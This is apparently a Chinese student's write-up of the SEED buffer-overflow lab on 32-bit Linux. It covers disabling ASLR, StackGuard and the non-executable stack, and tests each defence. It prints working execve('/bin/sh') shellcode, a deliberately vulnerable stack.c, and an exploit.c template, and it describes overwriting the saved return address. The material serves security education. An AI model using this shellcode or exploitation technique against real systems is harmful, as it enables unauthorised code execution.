緩沖區溢出實驗(Linux 32位)
參考教程與材料:http://www.cis.syr.edu/~wedu/seed/Labs_12.04/Software/Buffer_Overflow/
(本文記錄了做SEED緩沖區溢出實驗的體會與問題,側重實踐,而不是講解緩沖區溢出原理的詳細教程)
1. 准備工作
使用SEED ubuntu虛擬機進行緩沖區溢出實驗,首先要關閉一些針對此攻擊的防御機制來簡化實驗。
(1)內存地址隨機化(Address Space Randomization):基於Linux的操作系統一般使堆和棧的開始地址隨機化,使得攻擊者猜測確切的地址變得困難。使用如下指令關閉該功能。
$ su root
Password: (enter root password)
#sysctl -w kernel.randomize_va_space=0
(2)The StackGuard Protection Scheme:GCC編譯器實現了一個被稱為“Stack Guard”的安全機制來防御緩沖區溢出攻擊。所以在編譯漏洞程序時加上-fno-stack-protector參數來關閉該機制。
(3)Non-Executable Stack:Ubuntu曾經允許棧執行,但是現在程序必須聲明棧是否允許執行。內核和鏈接器檢查程序頭的標志來判斷是否允許棧被執行。GCC在模式情況下設置棧不可執行,所以需要在編譯時加入-z execstack參數來允許棧執行。
2. ShellCode
教程提供了shellcode,是如下代碼反匯編得到的機器碼,功能就是打開一個shell,通過編譯執行call_shellcode.c可以驗證shellcode的正確性。使用gdb調試call_shellcode會發現buf的起始地址沒有進行字節對其,但是並不影響shellcode的執行,該驗證程序是將buf強制轉換成了函數指針來執行,用法巧妙。其中shellcode還有一些需要解釋的地方,如“//sh”是為了湊足4字節,並且“/”與“//”是一樣的;為了給execve傳遞參數,需要字符串的地址,這里采用了push並傳遞esp的方法;cdq是一個簡短的指令來使edx置零。注意在編譯時加入令棧可執行的參數,指令如下所示:gcc -z execstack -o call_shellcode call_shellcode.c

#include <stdio.h> int main( ) { char* name[2]; name[0] = ‘‘/bin/sh’’; name[1] = NULL; execve(name[0], name, NULL); }

/* call_shellcode.c */ /*A program that creates a file containing code for launching shell*/ #include <stdlib.h> #include <stdio.h> const char code[] = "\x31\xc0" /* xorl %eax,%eax */ "\x50" /* pushl %eax */ "\x68""//sh" /* pushl $0x68732f2f */ "\x68""/bin" /* pushl $0x6e69622f */ "\x89\xe3" /* movl %esp,%ebx */ "\x50" /* pushl %eax */ "\x53" /* pushl %ebx */ "\x89\xe1" /* movl %esp,%ecx */ "\x99" /* cdq */ "\xb0\x0b" /* movb $0x0b,%al */ "\xcd\x80" /* int $0x80 */ ; int main(int argc, char **argv) { char buf[sizeof(code)]; strcpy(buf, code); ((void(*)( ))buf)( ); }
3.漏洞程序stack.c
程序很簡單,從文件中讀入內容至str,傳入僅有24字節大小的buffer時會溢出。編譯時記得取消保護機制,加入ggdb為了使用gdb調試方便。gcc –ggdb -o stack -z execstack -fno-stack-protector stack.c

/* stack.c */ /* This program has a buffer overflow vulnerability. */ /* Our task is to exploit this vulnerability */ #include <stdlib.h> #include <stdio.h> #include <string.h> int bof(char *str) { char buffer[24]; /* The following statement has a buffer overflow problem */ strcpy(buffer, str); return 1; } int main(int argc, char **argv) { char str[517]; FILE *badfile; badfile = fopen("badfile", "r"); fread(str, sizeof(char), 517, badfile); bof(str); printf("Returned Properly\n"); return 1; }
4.實驗內容
GDB的使用參考:
http://blog.csdn.net/liigo/article/details/582231
http://blog.sina.com.cn/s/blog_605f5b4f0101ey1q.html
(1)攻擊漏洞程序執行shellcode
使用gdb進入bof()之后,使用i frame可以查看當前程序棧的信息,如下所示。從中可以直接看出ebp和eip的保存位置,其中eip的返回位置即要精心覆蓋的返回地址,將其指向我們構造的shellcode即可。
查看棧的內存與變量的位置,圖中圈出的就是保存的eip值和變量位置。不過有個疑問沒有解決,就是0xbffff010與0xbffff014這8個內存的作用不明。
執行memcpy后,可以看出內存變為如下圖所示。
即從0xbfffeff8開始存入了shellcode,開始時考慮采用NSR模式,但是由於漏洞程序的緩沖區很小,剛好可以放下shellcode,所以直接使用了SR模式,其中返回地址R是0xbfffeff8。另外需要注意,拷貝shellcode時不要把字符串結尾的’\x00’也復制過去,否則漏洞程序會認為字符串就此截止,而不復制后面的內容。這么做會發現shellcode運行出錯。經過仔細查看執行過程時的內存,發現shellcode會壓棧一些內容,壓入ebx時恰好會把shellcode最后的語句(位置0xbffffffc)覆蓋!故考慮使用RNS模式,實驗表明使用RNS模式更加簡單,容錯率也高。
修改exploit.c如下所示,成功!
(2)啟動內存地址隨機化
首先打開Linux的內存地址隨機化功能,sysctl -w kernel.randomize_va_space=2,再次執行stack會段錯誤。gdb調試時會默認關閉內存地址隨機化,需要進入gdb后首先輸入set disable-randomization off來開啟地址隨機化,接下來進行調試。每次運行時會發現棧的地址隨機變化,從而使得攻擊者無法確定shellcode的地址。
(3)Stack Guard
首先關閉內存地址隨機化以防止干擾,然后重新編譯stack.c,此時不加入-fno-stack-protector參數即開啟了該防護措施(新版本gcc)。再次執行stack會出現錯誤,從匯編可以看出,該機制是檢測ebp-0xc這個位置存放的4字節是否被改變,該位置0xbfffeffc恰好就在局部變量與棧幀之間。再次編譯stack程序,發現該檢測值會發生改變,可見是隨機生成的,難以預測。
(4)棧不可執行
使用gcc -o stack -fno-stack-protector -z noexecstack stack.c編譯stack.c,調試運行會發現只要執行棧上的指令,進程會收到系統信號SIGSEGV,段錯誤。可以使用Return-to-Libc來繞過該防御機制。

/* exploit.c */ /* A program that creates a file containing code for launching shell*/ #include <stdlib.h> #include <stdio.h> #include <string.h> char shellcode[]= "\x31\xc0" /* xorl %eax,%eax */ "\x50" /* pushl %eax */ "\x68""//sh" /* pushl $0x68732f2f */ "\x68""/bin" /* pushl $0x6e69622f */ "\x89\xe3" /* movl %esp,%ebx */ "\x50" /* pushl %eax */ "\x53" /* pushl %ebx */ "\x89\xe1" /* movl %esp,%ecx */ "\x99" /* cdq */ "\xb0\x0b" /* movb $0x0b,%al */ "\xcd\x80" /* int $0x80 */ ; void main(int argc, char **argv) { char buffer[517]; FILE *badfile; /* Initialize buffer with 0x90 (NOP instruction) */ memset(&buffer, 0x90, 517); /* You need to fill the buffer with appropriate contents here */ /* Save the contents to the file "badfile" */ badfile = fopen("./badfile", "w"); fwrite(buffer, 517, 1, badfile); fclose(badfile); }
高級緩沖區溢出技術可以參考:http://drops.wooyun.org/tips/6597